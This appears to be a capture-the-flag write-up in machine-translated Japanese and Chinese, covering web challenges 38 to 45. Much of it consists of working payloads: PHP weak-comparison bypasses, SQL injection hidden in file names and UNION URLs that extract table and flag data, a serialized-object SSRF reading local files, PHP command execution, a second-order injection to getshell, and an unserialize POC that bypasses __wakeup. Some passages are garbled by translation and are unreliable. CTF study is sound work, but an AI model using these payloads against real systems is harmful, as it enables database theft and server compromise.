$same_count = 0;
for($i=0; $i<7; $i++){
//绕过这
if($numbers[$i] == $win_numbers[$i]){
$same_count++; // samecout的个数决定下面的case
}
}
switch ($same_count) {
///7
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
この質問の重要な点はこのコードです
旗を購入したい場合は、ここにお金を追加してください
if($numbers[$ i] == 獲得数 [ win_numbers[ わinn umbers[i]) 这里是关键 == 弱比较绕过
原理:
<?php
var_dump((true==5)); ===> true
var_dump((true==0)); ===> false
var_dump((true=="11")); ===> true
var_dump((5=="12")); ===> false
var_dump((0=="DSADAS")); ===> true
var_dump((0=="1200000")); ===>false
var_dump((0=="A")); ===>true
?>
このようなペイロードでバイパスします
{
"action":"buy",
"numbers":[true,true,true,true,true,true,true]}
38 番目のアップロード
この質問アップロードの名前は少し誤解を招きます。この質問は実際には SQL インジェクション、ファイル ヘッダー名インジェクションであり、ファイル サフィックス ホワイトリストが設定されています。
ペイロード:
s'+(selselectect CONV(substr(hex(dAtaBaSe()),1,12),16,10))+'.jpg 131277325825392 web_up
s'+(selselectect CONV(substr(hex(dAtaBaSe()),13,12),16,10))+'.jpg load
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg 114784820031327 hello_
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg 112615676665705 flag_i
s'+(selselectect+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg 126853610566245 s_here
s'+(selselectect+CONV(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg 115858377367398 i_am_f
s'+(selselectect+CONV(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg 7102823 lag
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg 36427215695199 !!_@m_
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg 92806431727430 Th.e_F
s'+(selselectect+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg 560750951 !lag
拼接flag即可 cyberpeace{
!![email protected]_F!lag}
基本変換スクリプト:
decimal_number = int(input("请输入一个大的十进制数: "))
hex_number = hex(decimal_number)
hex_string = hex_number[2:] # 去除前缀 "0x"
byte_array = bytes.fromhex(hex_string)
string = byte_array.decode()
print("转换后的十六进制数为:", hex_string)
print("转换后的字符串为:", string)
分析:
CONV(string,from_base,to_base) 関数は、文字列 string を 16 進数に変換します。変換は from_base と to_base によって決まります。この関数が使用されるのは、質問には文字が含まれています。エコーは制限されているため、文字のエコーを避けるために CONV が使用されます。
substr 関数は、数値が大きすぎる場合に科学表記法に自動的に変換されるため、このスクリプトは科学表記法を避けるために使用されます。変換
この質問の制限にも注意する必要があります
まとめ: ファイルヘッダーもインジェクションできるが、もっと方法を試す必要がある SQL インジェクションのペイロード書き込み方法を強化する必要がある。
39番目 Web_php_include
この質問は非常に簡単です。大文字と小文字を無視してから
POST: <?php echo `ls` ?>
40番目のsimple_js (未完成)
41番目のURL
ペイロード: POST: url=data://baidu.com/plain;base64,bjNrMA==
この質問の原理がわかりません。オンラインでの説明
42番目の偽書
この質問のテスト ポイントは SQL インジェクションと SSRF の組み合わせです
この質問では、まずインジェクション ポイントを見つけますが、基本的にフィルタリングがないことがわかります。関節注入法を注入する方法です。
所有的payload:
/?view.php?no=-1 unio/**/select 1,database(),3,4# fakebook
/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+ users
/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = 'users'#
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
/view.php?no=-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+ no,username,passwd,data
/view.php?no=-1%20union/**/select%201,group_concat('username','~','passwd','~','data'),3,4 from users#
/view.php?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users --+
/view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"harder";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
最後にソース コードを確認します。このリンクをクリックしてフラグを確認してください。
予期しない解決策:
/view.php?no=0 Union/**/select 1,load_file(‘/var/www/html/flag.php’),3,4
1 つ目はパラメータ secure_file_priv の影響
情報を確認した後、サーバー上にファイルを書き込む必要があるため、上記の関数の正常な実行はパラメータ secure_file_priv の影響を受けます。
予期しない解決策が存在しますload_file()
42番目のファイルマネージャー
この質問については、まず dirsearch を使用してディレクトリをスキャンし、www.tar.gz をスキャンしてダウンロードし、そこにソース コードが含まれている場合は、コード監査を実施します。
これら 2 つの文が使用できることがわかりました。ソース コードを観察すると、$result はファイル名拡張子で構成されており、次に行う必要があるのはサフィックスを空に変更することです。まず、 ファイル をアップロードします。
',extension='.png 上传一个文件名为这个的文件之后sql语句就变成了
update `file` set `filename`='{$req['newname']}', `oldname`='',extension='' where `fid`={
$result['fid']}
即这个文件的后缀为空了
ここで重要な点は、update を使用して拡張子のサフィックスを空にしたためですが、upload でアップロードしたファイルの名前が変更されていないため、同じ変更を加えて新しいファイルを再度送信する必要があるということです。ファイルに名前を付けます。 、ファイル名を変更して GETSHELL を実装し、最後にフラグを取得します。
ここで FIX が必要な場合は、サフィックスが空かどうかを確認する必要があります
テストポイント: getshell の二次注入
四十三匹目の猫(未完)
第 44 回 Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var); //fl4g.php base64_encode
}
} else {
highlight_file("index.php");
}
?>
この質問には、バイパスする必要がある箇所が 2 つあります。1 つは、メソッド属性 +1 をバイパスする __wakeup__ マジック メソッドです
2 つ目は、正規表現 if ( preg_match(' /[oc]:\d+:/i', $var)) は O: を O:+ に変換します
POC スクリプト:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo ('fl4g.php'); //创建对象
$C = serialize($A); //对对象A进行序列化
$C = str_replace('O:4','O:+4',$C); //绕过正则表达式过滤
$C = str_replace(':1:',':2:',$C); //wakeup绕过
var_dump($C);
var_dump(base64_encode($C)); //base64加密
?>
45番目のイージートルネード
この質問のヒントは、Cookie の値を見つける方法を見つける必要があるということです。
/hints.txt
md5(cookie_secret+md5(filename))
error?msg=Error
テスト後、ここで ssti インジェクションが行われ、データ Cookie の値が存在する場所をクエリする必要があります
このようにして、Cookie を取得して、Python スクリプトを直接ロードできます。
import hashlib
target_string = 'fda3f7ef94cc859873401966e09c9a4e'
def md5_last5(string):
# 计算字符串的md5散列值
md5_hash = hashlib.md5(string.encode()).hexdigest()
return md5_hash
# 20901fa4-e88f-4ada-ba49-489ad9c33db9
print(md5_last5("/fllllllllllllag"))
str = "20901fa4-e88f-4ada-ba49-489ad9c33db9"+md5_last5("/fllllllllllllag")
print(str)
answer = md5_last5(str)
print(answer)